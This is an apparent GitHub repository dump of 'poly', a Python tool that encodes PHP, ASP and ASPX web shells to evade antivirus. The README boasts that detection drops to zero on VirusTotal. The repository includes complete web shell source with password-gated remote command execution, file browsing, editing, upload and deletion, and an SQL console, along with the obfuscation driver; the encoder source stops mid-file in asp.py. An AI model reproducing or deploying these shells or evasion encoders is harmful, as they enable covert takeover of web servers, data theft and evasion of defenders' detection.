├── LICENSE
├── README.md
├── output
└── test.php
├── poly.py
├── shells
├── shell.asp
├── shell.aspx
└── shell.php
└── src
├── __init__.py
├── asp.py
├── aspx.py
├── php.py
├── shell.py
└── util.py
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2017 grCod
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # poly
2 | A python script that generates polymorphic webshells.
3 | Use it to encode your favourite shell and make it practically undetectable.
4 | If no shell is specified with the -p arguement, the default shell in the /shells directory is used.
5 |
6 | >Supported webshells
7 |
8 | | Webshell | |
9 | | --------- | --------- |
10 | | .php | |
11 | | .asp | ( vbs ) |
12 | | .aspx | ( c# ) |
13 |
14 | >Supported encoders
15 |
16 | | Encoding | |
17 | | --------- | --------- |
18 | | b64 | base64 encoded text with random strings in random intervals |
19 | | ord | ord() each character plus a random number |
20 | | rnd | each character is mapped to another random character |
21 | | rot | text is divided by a random number of rows, then rotated 90 degrees clockwise |
22 |
23 | >C99 shell uploaded on virustotal
24 |
25 | | Encoding | Detection rate |
26 | | -------- | --------- |
27 | | none | 41 / 56 |
28 | | b64 | 0 / 52 |
29 | | ord | 0 / 54 |
30 | | rnd | 0 / 56 |
31 | | rot | 0 / 56 |
32 |
33 | **Requirements :**
34 | Python 2.7
35 |
36 | **Notice :**
37 | With asp shells it is recommended to use the default shell. ( /shells/shell.asp )
38 | Encoded aspx shells may not work on some servers.
39 | Php works pretty much with every shell, on every server.
40 | Rnd and rot encodings are not binary safe. ( may produce unprintable characters )
41 |
42 | **Disclaimer :**
43 | This tool is made for educational and research purposes.
44 | Don't be evil..
45 |
--------------------------------------------------------------------------------
/output/test.php:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/poly.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | import argparse
5 | from src.php import Php
6 | from src.asp import Asp
7 | from src.aspx import Aspx
8 |
9 |
10 | ap = argparse.ArgumentParser()
11 | ap.add_argument('-c', help= 'Shell code. [ php, asp, aspx ]', required = True)
12 | ap.add_argument('-e', help= 'Encoding method. [ b64, ord, rnd, rot ]', default = 'b64')
13 | ap.add_argument('-p', help= 'Path to shell.', default = None)
14 | ap.add_argument('-j', help= 'Add junk code.', action = 'store_true', default = False)
15 | args = ap.parse_args()
16 |
17 | shell_type = args.c.lower() if args.p is None else args.p.split('.')[-1].lower()
18 | shell_encoding = args.e.lower()
19 | shell_path = args.p
20 | junk = args.j
21 |
22 | if shell_type not in [ 'php', 'asp', 'aspx' ] :
23 | exit("{} shells are not supported.".format(shell_type))
24 | if shell_encoding not in [ 'b64', 'ord', 'rnd', 'rot' ] :
25 | exit("'{}' encoding is not supported.".format(shell_encoding))
26 | if shell_type == 'php' :
27 | poly = Php(shell_path)
28 | if shell_type == 'asp' :
29 | poly = Asp(shell_path)
30 | if shell_type == 'aspx' :
31 | poly = Aspx(shell_path)
32 | if poly.shell_text == None :
33 | exit("Can't access file: {}".format(poly.shell_path))
34 | encoded = poly.Encode(shell_encoding)
35 | encoded_shell = poly.Create(encoded, junk)
36 | poly.Write(encoded_shell)
37 |
38 |
--------------------------------------------------------------------------------
/shells/shell.asp:
--------------------------------------------------------------------------------
1 | <% @language = "VBScript" %>
2 | <%
3 | on error resume next
4 |
5 | dim fso, wshell, wnet
6 | dim fpath, i, folder, list
7 | dim FileName, ContentType, Value
8 | dim shell, password, style, this_url, root_path
9 |
10 | set fso = CreateObject("Scripting.FileSystemObject")
11 | set wshell = CreateObject("WScript.Shell")
12 | set wnet = Server.CreateObject("WSCRIPT.NETWORK")
13 |
14 | root_path = fso.GetFolder(Server.MapPath("\")) & "\"
15 | this_url = Request.ServerVariables("URL")
16 | Server.ScriptTimeout = 120
17 | Session.Timeout = 60
18 | password = "pass"
19 | style = "light"
20 |
21 | sub Echo(line)
22 | response.write line
23 | end sub
24 |
25 | function S_GET(get_request)
26 | S_GET = Request.QueryString(get_request)
27 | end function
28 |
29 | function S_POST(post_request)
30 | S_POST = Request.Form(post_request)
31 | end function
32 |
33 | function this_path()
34 | if len(trim(S_GET("path"))) <> 0 and fso.FolderExists(trim(S_GET("path"))) then
35 | Response.Cookies("shell_path") = trim(S_GET("path"))
36 | this_path = trim(S_GET("path"))
37 | elseif len(Request.Cookies("shell_path")) = 0 or not fso.FolderExists(Request.Cookies("shell_path")) then
38 | Response.Cookies("shell_path") = root_path
39 | this_path = root_path
40 | else
41 | this_path = Request.Cookies("shell_path")
42 | end if
43 | end function
44 |
45 | function Action()
46 | if len(S_POST("download")) > 0 then
47 | action = "download"
48 | elseif S_POST("sql") > 0 then
49 | action = "sql"
50 | elseif S_GET("act") <> "" then
51 | action = trim(S_GET("act"))
52 | else
53 | action = ""
54 | end if
55 | end function
56 |
57 | sub Login()
58 | if Request.Cookies("shell_login") = password then exit sub
59 | %>
60 |
253 | <%
254 | end sub
255 |
256 | sub RunCmd()
257 | %>
258 |
259 |
260 |
261 |
262 | <%
263 | dim objCmd, cmd, cmd_result
264 |
265 | if len(S_POST("submit")) > 0 then
266 | cmd = "%comspec% /c " & trim(S_POST("cmd"))
267 | set objCmd = wshell.Exec(cmd)
268 |
269 | cmd_result = objCmd.StdOut.Readall() & objCmd.StdErr.ReadAll()
270 | echo "" & replace(cmd_result, vbCrLf, " ") & " "
271 | set objCmd = nothing
272 | end if
273 | end sub
274 |
275 | sub Database()
276 | Dim objCn, objRS, i, qry, sqlExec, host, user, pass, db, dbms
277 |
278 | host = dbValues("host")
279 | user = dbValues("user")
280 | pass = dbValues("pass")
281 | db = dbValues("db")
282 | dbms = dbValues("dbms")
283 |
284 | if S_GET("qry") <> "" then qry = trim(S_GET("qry"))
285 | if len(S_POST("submit")) > 0 then qry = S_POST("qry")
286 | if qry = "" then qry = "SELECT * FROM INFORMATION_SCHEMA.TABLES;"
287 | %>
288 |
289 |
290 |
291 |
292 |
293 |
294 |
295 |
296 |
297 | <%
298 | if len(S_POST("submit")) = 0 and len(S_GET("qry")) = 0 then exit sub
299 |
300 | Set objCn = Server.CreateObject("ADODB.Connection")
301 | objCn.ConnectionString = "DRIVER={SQL Server}; server=" & host & "; uid=" & user & "; pwd=" & pass & "; DATABASE=" & db & ";"
302 | objCn.Open
303 | set sqlExec = objCn.Execute(qry)
304 |
305 | if InStr(ucase(trim(qry)), "SELECT") <> 1 and InStr(ucase(trim(qry)), "SHOW") <> 1 then
306 | echo " Query submited. "
307 | exit sub
308 | end if
309 |
310 | echo ""
311 | echo ""
312 | for each i in sqlExec.Fields
313 | echo "" & i.name & " "
314 | next
315 | echo " "
316 |
317 | sqlExec.MoveFirst
318 | do while not sqlExec.EOF
319 | echo ""
320 | for each i in sqlExec.Fields
321 | if i.name = "TABLE_NAME" then
322 | echo "" & i.value & " "
323 | else
324 | echo "" & i.value & " "
325 | end if
326 | next
327 | sqlExec.MoveNext
328 | echo " "
329 | loop
330 | echo ""
331 |
332 | sqlExec.Close
333 | objCn.Close
334 | set sqlExec = Nothing
335 | Set objCn = Nothing
336 | end sub
337 |
338 | function dbValues(value)
339 | if trim(S_POST(value)) <> "" and S_POST("host") <> "host" then
340 | Response.Cookies("shell_sql")(value) = S_POST(value)
341 | dbValues = S_POST(value)
342 | elseif len(Request.Cookies("shell_sql")(value)) > 0 then
343 | dbValues = Request.Cookies("shell_sql")(value)
344 | else
345 | dbValues = value
346 | end if
347 | end function
348 |
349 | Function BuildUpload(RequestBin)
350 | dim PosBeg, PosEnd, boundary, boundaryPos, UploadControl, Pos, Name, PosFile, PosBound
351 | 'Get the boundary
352 | PosBeg = 1
353 | PosEnd = InstrB(PosBeg, RequestBin, getByteString(chr(13)))
354 | boundary = MidB(RequestBin, PosBeg, PosEnd-PosBeg)
355 | boundaryPos = InstrB(1, RequestBin, boundary)
356 | 'Get all data inside the boundaries
357 | Do until (boundaryPos = InstrB(RequestBin, boundary & getByteString("--")))
358 | 'Members variable of objects are put in a dictionary object
359 | Set UploadControl = CreateObject("Scripting.Dictionary")
360 | 'Get an object name
361 | Pos = InstrB(BoundaryPos, RequestBin, getByteString("Content-Disposition"))
362 | Pos = InstrB(Pos, RequestBin, getByteString("name="))
363 | PosBeg = Pos + 6
364 | PosEnd = InstrB(PosBeg, RequestBin, getByteString(chr(34)))
365 | Name = getString(MidB(RequestBin, PosBeg, PosEnd-PosBeg))
366 | PosFile = InstrB(BoundaryPos, RequestBin, getByteString("filename="))
367 | PosBound = InstrB(PosEnd, RequestBin, boundary)
368 | 'Test if object is of file type
369 | If PosFile <> 0 AND PosFile < PosBound Then
370 | 'Get Filename, content-type and content of file
371 | PosBeg = PosFile + 10
372 | PosEnd = InstrB(PosBeg, RequestBin, getByteString(chr(34)))
373 | FileName = getString(MidB(RequestBin, PosBeg, PosEnd-PosBeg))
374 | 'Add filename to dictionary object
375 | UploadControl.Add "FileName", FileName
376 | Pos = InstrB(PosEnd, RequestBin, getByteString("Content-Type:"))
377 | PosBeg = Pos + 14
378 | PosEnd = InstrB(PosBeg, RequestBin, getByteString(chr(13)))
379 | 'Add content-type to dictionary object
380 | ContentType = getString(MidB(RequestBin, PosBeg, PosEnd - PosBeg))
381 | UploadControl.Add "ContentType", ContentType
382 | 'Get content of object
383 | PosBeg = PosEnd + 4
384 | PosEnd = InstrB(PosBeg, RequestBin, boundary) - 2
385 | Value = MidB(RequestBin, PosBeg, PosEnd-PosBeg)
386 | Else
387 | 'Get content of object
388 | Pos = InstrB(Pos, RequestBin, getByteString(chr(13)))
389 | PosBeg = Pos + 4
390 | PosEnd = InstrB(PosBeg, RequestBin, boundary) - 2
391 | Value = getString(MidB(RequestBin, PosBeg, PosEnd - PosBeg))
392 | End If
393 | UploadControl.Add "Value" , Value
394 | UploadRequest.Add name, UploadControl
395 | BoundaryPos = InstrB(BoundaryPos + LenB(boundary), RequestBin, boundary)
396 | Loop
397 | End Function
398 |
399 | Function getByteString(StringStr)
400 | For i = 1 to Len(StringStr)
401 | char = Mid(StringStr, i, 1)
402 | getByteString = getByteString & chrB(AscB(char))
403 | Next
404 | End Function
405 |
406 | Function getString(StringBin)
407 | getString = ""
408 | For i = 1 to LenB(StringBin)
409 | getString = getString & chr(AscB(MidB(StringBin, i, 1)))
410 | Next
411 | End Function
412 |
413 | If request.querystring("upload") = "ok" then
414 | dim byteCount, RequestBin, UploadRequest, filepathname, path, f
415 | byteCount = Request.TotalBytes
416 | RequestBin = Request.BinaryRead(byteCount)
417 | Set UploadRequest = CreateObject("Scripting.Dictionary")
418 | BuildUpload(RequestBin)
419 | If UploadRequest.Item("file").Item("Value") <> "" Then
420 | contentType = UploadRequest.Item("file").Item("ContentType")
421 | filepathname = UploadRequest.Item("file").Item("FileName")
422 | filename = Right(filepathname,Len(filepathname)-InstrRev(filepathname,"\"))
423 | value = UploadRequest.Item("file").Item("Value")
424 | path = UploadRequest.Item("path").Item("Value")
425 | filename = path & filename
426 |
427 | Set f = fso.CreateTextFile(filename)
428 | For i = 1 to LenB(value)
429 | f.Write chr(AscB(MidB(value, i , 1)))
430 | Next
431 | f.Close
432 | Set f = Nothing
433 | End If
434 | Set UploadRequest = Nothing
435 | End If
436 |
437 | sub upload_form()
438 | %>
439 |
440 |
441 |
442 |
443 |
444 | <%
445 | end sub
446 |
447 | sub ServerInfo()
448 | %>
449 |
450 |
451 | <% OsInfo() %>
452 | Server: <% echo Request.ServerVariables("SERVER_SOFTWARE") %>
453 |
454 |
455 | Computer: <% echo wnet.ComputerName %>
456 | Domain: <% echo wnet.UserDomain %>
457 | User: <% echo wnet.UserName %>
458 | IP: <% echo request.ServerVariables("LOCAL_ADDR") %>
459 |
460 |
461 | <%
462 | end sub
463 |
464 | sub OsInfo()
465 | dim SystemSet, System
466 | Set SystemSet = GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem")
467 |
468 | for each System in SystemSet
469 | echo System.Caption & " " & System.Version
470 | next
471 | set SystemSet = nothing
472 | end sub
473 |
474 | function Colors(part)
475 | dim css
476 |
477 | if style = "dark" then
478 | css = array("#ddefff", "#181818", "#ddefff", "#83c5ff", "#202020")
479 | else
480 | css = array("#181818", "#f0f8ff", "#015fb2", "#00437e", "#ddefff")
481 | end if
482 |
483 | if part = "body" or part = "table" or part = "tr" or part = "th" or part = "td" then
484 | colors = "color:" & css(0) & "; background-color:" & css(1) & "; "
485 | elseif part = "input" then
486 | if style = "dark" then colors = "color:" & css(1) & "; background-color:" & css(0) & "; border:1px solid " & css(3) & "; "
487 | if style = "light" then colors = "color:" & css(4) & "; background-color:#242424 ; border:1px solid " & css(2) & "; "
488 | elseif part = "hover" then
489 | colors = "color:" & css(0) & "; background-color:" & css(4) & "; "
490 | else
491 | colors = css
492 | end if
493 | end function
494 |
495 | class AspShell
496 |
497 | public sub Access()
498 | Login()
499 | end sub
500 |
501 | public sub Download()
502 | if action() = "download" then Downloader(trim(S_GET("file")))
503 | end sub
504 |
505 | public sub Header()
506 | ServerInfo()
507 | end sub
508 |
509 | public sub Body(action)
510 | if action = "fbrowser" then
511 | FileBrowser(this_path)
512 | elseif action = "feditor" then
513 | fpath = this_path()
514 | if trim(S_GET("file")) <> "" then fpath = trim(S_GET("file"))
515 | FileEditor(fpath)
516 | elseif action = "fuploader" then
517 | upload_form()
518 | elseif action = "cmd" then
519 | RunCmd()
520 | elseif action = "sql" then
521 | Database()
522 | elseif action = "exit" then
523 | Logout()
524 | end if
525 | end sub
526 |
527 | end class
528 |
529 | %>
530 | <% set shell = new AspShell %>
531 | <% shell.access() %>
532 | <% shell.download() %>
533 |
534 |
535 | Shell
536 |
557 |
558 |
559 |
560 | <% shell.header() %>
561 |
562 |
563 |
564 |
574 |
575 |
576 |
577 | <% shell.body(action())%>
578 |
579 |
580 |
581 | <% set shell = nothing %>
582 | <% set fso = nothing %>
583 | <% set wshell = nothing %>
584 | <% set wnet = nothing %>
585 |
--------------------------------------------------------------------------------
/shells/shell.aspx:
--------------------------------------------------------------------------------
1 | <%@ Page Language="C#" Debug="true" validateRequest="false" %>
2 | <%@ Import namespace="System.Web.UI.WebControls" %>
3 | <%@ Import namespace="System.Diagnostics" %>
4 | <%@ Import namespace="System.IO" %>
5 | <%@ Import namespace="System" %>
6 | <%@ Import namespace="System.Data" %>
7 | <%@ Import namespace="System.Data.SqlClient" %>
8 | <%@ Import namespace="System.Security.AccessControl" %>
9 | <%@ Import namespace="System.Security.Principal" %>
10 | <%@ Import namespace="System.Collections.Generic" %>
11 | <%@ Import namespace="System.Collections" %>
12 |
13 |
461 |
462 |
463 | Shell
464 |
486 |
487 |
488 |
494 |
495 |
496 |
506 |
507 |
508 |
509 |
510 | >
511 | CWD:
512 |
513 | Drives:
514 |
515 |
516 |
517 | >
518 | Name Size Permissions Created Accessed Modified
519 |
520 |
521 |
522 |
523 |
524 |
525 |
526 |
527 |
528 |
529 |
530 |
531 |
532 |
533 |
534 |
535 |
536 |
537 |
538 |
539 |
540 |
541 |
542 |
543 |
544 |
545 |
546 |
547 |
548 |
549 |
550 |
551 |
552 |
553 |
554 |
555 |
556 |
--------------------------------------------------------------------------------
/shells/shell.php:
--------------------------------------------------------------------------------
1 | action = @$_GET["act"];
45 | if(isset($_POST["download"]) && $this->Authenticated()) FileDownloader($_POST['path']);
46 | }
47 |
48 | public function Login()
49 | {
50 | if($this->Authenticated()) return;
51 | ?>
52 |
53 |
54 |
55 |
56 |
57 |
77 |
78 |
79 | OS:
80 | Server:
81 |
82 |
83 |
84 |
85 | Computer:
86 | Domain:
87 | User:
88 | IP:
89 |
90 |
91 | action == "fbrowser") {
97 | $fbrowser = new FileBrowser(ThisPath());
98 | $fbrowser->Body();
99 | } elseif($this->action == "feditor") {
100 | $feditor = new FileEditor((ThisFile() == null ? ThisPath() : ThisFile()));
101 | $feditor->Action();
102 | $feditor->Body();
103 | } elseif($this->action == "fuploader") {
104 | FileUploader(ThisPath());
105 | } elseif($this->action == "cmd") {
106 | CommandBody();
107 | } elseif($this->action == "sql") {
108 | $sql = new Database();
109 | $sql->Query();
110 | $sql->Body();
111 | } elseif($this->action == "exit") {
112 | $this->Logout();
113 | }
114 | }
115 |
116 | private function Authenticated()
117 | {
118 | if(!isset($_COOKIE["shell_pass"])) return false;
119 | if($_COOKIE["shell_pass"] != PASSWORD) return false;
120 | return true;
121 | }
122 | }
123 |
124 | class FileBrowser
125 | {
126 | public function __construct($path)
127 | {
128 | $this->path = $path;
129 | }
130 |
131 | public function Body()
132 | {
133 | ?>
134 |
135 | ">
136 | CWD: CWD(); ?>
137 |
138 | Drives: Drives(); ?>
139 |
140 |
141 |
142 | ">
143 | Name Size Permissions Created Modified
144 |
145 | ">
146 | ..
147 |
148 |
149 | DirsFiles(); ?>
150 |
151 | listDirsFiles();
157 | $df_list = "";
158 |
159 | if($dfl == false)
160 | return "Can't access: $this->path ";
161 | foreach($dfl[0] as $d) {
162 | $df_list .= "" . $d[0] . DIRECTORY_SEPARATOR . " ";
163 | $df_list .= "" . $d[2] . " " . $d[3] . " : " . $d[4] . " " . $d[5] . " " . $d[6] . " ";
164 | }
165 | foreach($dfl[1] as $f) {
166 | $df_list .= "" . $f[0] . " ";
167 | $df_list .= "" . $f[2] . " " . $f[3] . " : " . $f[4] . " " . $f[5] . " " . $f[6] . " ";
168 | }
169 | return $df_list;
170 | }
171 |
172 | public function listDirsFiles()
173 | {
174 | $dirs = array();
175 | $files = array();
176 |
177 | if(($d_f = @scandir($this->path)) === false) return false;
178 | foreach($d_f as $i) {
179 | if($i == '.' || $i == '..') continue;
180 | $path = $this->path . $i;
181 | if(is_dir($this->path . $i)) {
182 | $dirs[] = array($i, $path, "Dir", $this->getUidGid($path), $this->getPerms($path), $this->getCMDate($path), $this->getCMDate($path, 9));
183 | }
184 | if(is_file($this->path . $i)) {
185 | $files[] = array($i, $path, $this->getSize($path), $this->getUidGid($path), $this->getPerms($path), $this->getCMDate($path), $this->getCMDate($path, 9));
186 | }
187 | }
188 | return array($dirs, $files);
189 | }
190 |
191 | private function CWD()
192 | {
193 | $path = '';
194 | $parts = explode(DIRECTORY_SEPARATOR, $this->path);
195 | foreach($parts as $p) {
196 | if($p == "") continue;
197 | $path .= $p . DIRECTORY_SEPARATOR;
198 | echo '' . $p . DIRECTORY_SEPARATOR . ' ';
199 | }
200 | }
201 |
202 | private function Drives()
203 | {
204 | foreach(range("A", "Z") as $drive) {
205 | if(@is_readable($drive . ":" . DIRECTORY_SEPARATOR)) {
206 | echo "$drive:\\ ";
207 | } elseif(@is_dir($drive . ":" . DIRECTORY_SEPARATOR)) {
208 | echo "$drive:\\ ";
209 | }
210 | }
211 | }
212 |
213 | private function getSize($path)
214 | {
215 | $stat = stat($path);
216 | if($stat[7] > (1024 * 1024)) return (int)($stat[7] / (1024 * 1024)) . " MB";
217 | elseif($stat[7] > 1024) return (int)($stat[7] / 1024) . " KB";
218 | else return $stat[7] . " B";
219 | }
220 |
221 | private function getPerms($path)
222 | {
223 | return substr(sprintf("%o", fileperms($path)), -4);
224 | }
225 |
226 | private function getUidGid($path)
227 | {
228 | $stat = stat($path);
229 | return $stat[4] . "/" . $stat[5];
230 | }
231 |
232 | private function getCMDate($path, $d=10)
233 | {
234 | $stat = stat($path);
235 | return date("d/m/Y H:i", $stat[$d]);
236 | }
237 | }
238 |
239 | class FileEditor
240 | {
241 | public function __construct($path)
242 | {
243 | $this->path = isset($_POST['path'])? $_POST['path'] : $path;
244 | $this->text = "";
245 | $this->message = "";
246 | }
247 |
248 | public function Action()
249 | {
250 | if(isset($_POST["read"])) $this->feRead();
251 | elseif(isset($_POST["write"])) $this->feWrite($_POST['content']);
252 | elseif(isset($_POST["remove"])) $this->message = $this->feRemove($this->path) ? "Deleted." : "Failed.";
253 | elseif(isset($_POST["rename"])) $this->feRename((ThisFile() == null ? ThisPath() : ThisFile()));
254 | elseif(isset($_POST["mkdir"])) $this->feMkdir();
255 | }
256 |
257 | public function Body()
258 | {
259 | ?>
260 |
261 |
262 |
263 |
264 |
265 |
266 |
267 |
268 | message; ?>
269 | text; ?>
270 |
271 | path)) !== false ) $this->text = $this->isHtml($data) ? htmlspecialchars($data) : $data;
277 | else $this->message = "Can't access file.";
278 | }
279 |
280 | public function feWrite($data)
281 | {
282 | if(@file_put_contents($this->path, $data) !== false) $this->message = "Saved.";
283 | else $this->message = "Failed.";
284 | }
285 |
286 | private function feRemove($path)
287 | {
288 | if(!is_file($path) && !is_dir($path)) return false;
289 | if(is_file($path)) return @unlink($path);
290 | if(($dir_content = @scandir($path)) === false) return false;
291 | foreach($dir_content as $d_f) if($d_f != "." && $d_f != "..") $this->feRemove($path . DIRECTORY_SEPARATOR . $d_f);
292 | return @rmdir($path);
293 | }
294 |
295 | private function feRename($new_path)
296 | {
297 | if(@rename($this->path, $new_path) !== false) $this->message = "Renamed.";
298 | else $this->message = "Failed.";
299 | }
300 |
301 | private function feMkdir()
302 | {
303 | if(@mkdir($this->path) !== false) $this->message = "Created.";
304 | else $this->message = "Failed.";
305 | }
306 |
307 | private function isHtml($data)
308 | {
309 | if(preg_match('//im', $data, $m)) return true;
310 | if(preg_match('//im', $data, $m)) return true;
311 | if(preg_match('//im', $data, $m)) return true;
312 | return false;
313 | }
314 | }
315 |
316 | function FileDownloader($file)
317 | {
318 | header("Content-Disposition: attachment; filename=\"" . @basename($file) . "\"");
319 | header("Content-Length: \"" . @filesize($file) . "\"");
320 | header("Content-Type: application/octet-stream;");
321 | @readfile($file);
322 | exit();
323 | }
324 |
325 | function FileUploader($path)
326 | {
327 | ?>
328 |
329 |
330 |
331 |
332 |
333 | File uploaded.";
337 | else echo "Failed.";
338 | }
339 | }
340 |
341 | class Database
342 | {
343 | private $my_dbs = "SHOW DATABASES;";
344 | private $ms_dbs = "SELECT name FROM master.dbo.sysdatabases";
345 | private $my_tbl = "SHOW TABLES;";
346 | private $ms_tbl = "SELECT * FROM INFORMATION_SCHEMA.TABLES;";
347 |
348 | public function __construct()
349 | {
350 | $this->setCookies();
351 | $cookies = isset($_COOKIE["shell_sql"]) ? unserialize($_COOKIE["shell_sql"]) : array("host", "user", "pass", "db", "dbms");
352 | $get_db = isset($_GET['db']) ? urldecode($_GET['db']) : null;
353 | $get_table = isset($_GET['table']) ? urldecode($_GET['table']) : null;
354 | $this->host = isset($_POST['host']) ? $_POST['host'] : $cookies[0];
355 | $this->user = isset($_POST['user']) ? $_POST['user'] : $cookies[1];
356 | $this->pass = isset($_POST['pass']) ? $_POST['pass'] : $cookies[2];
357 | $this->db = (isset($get_db) ? $get_db : (isset($_POST['db']) ? $_POST['db'] : $cookies[3]));
358 | $this->dbms = isset($_POST['dbms']) ? $_POST['dbms'] : $cookies[4];
359 | $this->query = (isset($get_db) ? "SHOW TABLES;" : (isset($get_table) ? "SELECT * FROM $get_table;" : $this->my_dbs));
360 | if(isset($_POST["submit"])) $this->query = ((@$_POST['query'] != "") ? $_POST['query'] : ($this->dbms == "mssql" ? $this->ms_dbs : $this->my_dbs));
361 | $this->output = "";
362 | }
363 |
364 | public function Body()
365 | {
366 | ?>
367 |
368 |
369 |
370 |
371 |
372 |
373 |
374 |
375 |
376 |
377 | output; ?>
378 |
379 | dbms:host=$this->host; dbname=$this->db";
386 | try {
387 | @$conn = new PDO("$this->dbms:host=$this->host; dbname=$this->db", $this->user, $this->pass);
388 | @$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
389 | @$query = $conn->prepare($this->query);
390 | try {
391 | @$query->execute();
392 | if(strtoupper(substr($this->query, 0, 6)) == "SELECT" || strtoupper(substr($this->query, 0, 4)) == "SHOW") {
393 | $this->sqlRead($query);
394 | } else {
395 | $this->output = "Query executed. ";
396 | }
397 | } catch(PDOException $e) {
398 | $this->output = "Query failed. " . $e->getMessage();
399 | }
400 | } catch(PDOException $e) {
401 | $this->output = "Connection failed: " . $e->getMessage();
402 | }
403 | $conn = null;
404 | }
405 | }
406 |
407 | private function sqlRead($query)
408 | {
409 | $this->output = "";
410 | $result = @$query->setFetchMode(PDO::FETCH_ASSOC);
411 | foreach($query->fetchAll() as $id => $row) {
412 | if($id == 0) {
413 | $this->output .= "";
414 | foreach($row as $n => $v) $this->output .= "$n ";
415 | $this->output .= " ";
416 | }
417 | $this->output .= "";
418 | foreach($row as $n => $v) {
419 | if(strtoupper($n) == "DATABASE") {
420 | $this->output .= "" . $v . " ";
421 | } elseif(strtoupper(substr($n, 0, 5)) == "TABLE") {
422 | $this->output .= "" . $v . " ";
423 | } else {
424 | $this->output .= "" . htmlspecialchars($v) . " ";
425 | }
426 | }
427 | $this->output .= " ";
428 | }
429 | $this->output .= "
";
430 | }
431 |
432 | private function setCookies()
433 | {
434 | if(!isset($_COOKIE["shell_sql"])) {
435 | $cookie = array("host", "user", "pass", "db", "dbms");
436 | } else {
437 | $values = unserialize($_COOKIE["shell_sql"]);
438 | $cookie = array();
439 | $cookie[] = (isset($_POST['host']) && @$_POST['host'] != "") ? $_POST['host'] : $values[0];
440 | $cookie[] = (isset($_POST['user']) && @$_POST['user'] != "") ? $_POST['user'] : $values[1];
441 | $cookie[] = (isset($_POST['pass']) && @$_POST['pass'] != "") ? $_POST['pass'] : $values[2];
442 | $cookie[] = ((isset($_POST['db']) && @$_POST['db'] != "") ? $_POST['db'] : (isset($_GET['db']) ? $_GET['db'] : $values[3]));
443 | $cookie[] = (isset($_POST['dbms']) && @$_POST['dbms'] != "") ? $_POST['dbms'] : $values[4];
444 | }
445 | setcookie("shell_sql", serialize($cookie), time() + (60 * 60 * 24), "/");
446 | }
447 | }
448 |
449 | function CommandBody()
450 | {
451 | ?>
452 |
453 |
454 |
455 |
456 | &1";
459 | echo "";
460 | RunCmd($cmd);
461 | echo " ";
462 | }
463 | }
464 |
465 | function RunCmd($cmd)
466 | {
467 | if(is_callable("system")) {
468 | system($cmd);
469 | } elseif(is_callable("passthru")) {
470 | passthru($cmd);
471 | } elseif(is_callable("shell_exec")) {
472 | echo shell_exec($cmd);
473 | } elseif(is_callable("exec")) {
474 | exec($cmd, $out);
475 | foreach($out as $o) echo $o, PHP_EOL;
476 | } elseif(is_callable("popen")) {
477 | if(($pop = popen($cmd, 'r')) === false) return;
478 | while(!feof($pop)) echo fread($pop, 2096);
479 | pclose($pop);
480 | } else {
481 | echo "Failed.";
482 | }
483 | }
484 |
485 | function Colors($part="color")
486 | {
487 | if(STYLE == "dark") $colors = array("color"=>"#ddefff", "back"=>"#181818", "link"=>"#ddefff", "visited"=>"#83c5ff", "hover"=>"#202020" );
488 | else $colors = array("color"=>"#181818", "back"=>"#f0f8ff", "link"=>"#015fb2", "visited"=>"#00437e", "hover"=>"#ddefff" );
489 |
490 | if($part == "body" || $part == "table" || $part == "tr" || $part == "th" || $part == "td") {
491 | return " color:" . $colors['color'] . "; background-color:" . $colors['back'] . "; ";
492 | } elseif($part == "input") {
493 | if(STYLE == "dark") return " color:" . $colors['back'] . "; background-color:" . $colors['color'] . "; border:1px solid " . $colors['visited'] . "; ";
494 | else return " color:" . $colors['hover'] . "; background-color:#242424 ; border:1px solid " . $colors['link'] . "; ";
495 | } elseif($part == "hover") {
496 | return " color:" . $colors['color'] . "; background-color:" . $colors['hover'] . "; ";
497 | } else {
498 | return $colors;
499 | }
500 | }
501 |
502 | ?>
503 |
504 | Login(); ?>
505 |
506 |
507 |
508 | Shell
509 |
530 |
531 |
532 |
533 | Info(); ?>
534 |
535 |
536 |
537 |
547 |
548 |
549 |
550 | Body(); ?>
551 |
552 |
553 |
--------------------------------------------------------------------------------
/src/__init__.py:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/src/asp.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/python
2 |
3 | import re
4 | from shell import Shell
5 | from util import Encoders, Junk, AspParser
6 |
7 |
8 | VBS_B64 = '''
9 | class Base64
10 |
11 | Public Function Decode( byVal strIn )
12 | Dim w1, w2, w3, w4, n, strOut
13 | For n = 1 To Len( strIn ) Step 4
14 | w1 = mimedecode( Mid( strIn, n, 1 ) )
15 | w2 = mimedecode( Mid( strIn, n + 1, 1 ) )
16 | w3 = mimedecode( Mid( strIn, n + 2, 1 ) )
17 | w4 = mimedecode( Mid( strIn, n + 3, 1 ) )
18 | If w2 >= 0 Then strOut = strOut + Chr( ( ( w1 * 4 + Int( w2 / 16 ) ) And 255 ) )
19 | If w3 >= 0 Then strOut = strOut + Chr( ( ( w2 * 16 + Int( w3 / 4 ) ) And 255 ) )
20 | If w4 >= 0 Then strOut = strOut + Chr( ( ( w3 * 64 + w4 ) And 255 ) )
21 | Next
